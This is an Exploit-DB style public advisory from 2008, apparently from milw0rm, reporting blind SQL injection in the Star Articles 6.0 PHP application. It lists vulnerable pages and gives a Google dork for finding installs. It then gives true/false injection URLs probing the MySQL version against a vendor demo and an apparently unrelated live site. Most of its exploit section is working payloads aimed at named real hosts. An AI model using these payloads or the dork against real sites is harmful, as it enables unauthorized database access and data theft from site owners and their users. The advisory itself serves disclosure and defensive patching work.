Exploit Star Articles 6.0 - Blind SQL Injection (1)

[Exploiter]

EDB-ID

7240

Проверка EDB

1. Пройдено

Автор

B3HZ4D

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-7075

Дата публикации

2008-11-26

        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            stararticles blind sql injection Vulnerability          +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

		
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 26 nov 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: [email protected]

#####################################################

APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"

#####################################################


[+] vuln    : blind sql injection
              
              many of pages are vulnerable to blind sql injection:
              
              ./article.list.php

              ./article.print.php
              
              ./article.comments.php

              ./article.publisher.php
              
                    .
                    .
                    .

[+] Exploit : 
              true:
               
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=5
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=5
             
              false:
              
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=4
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=4


##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-11-26]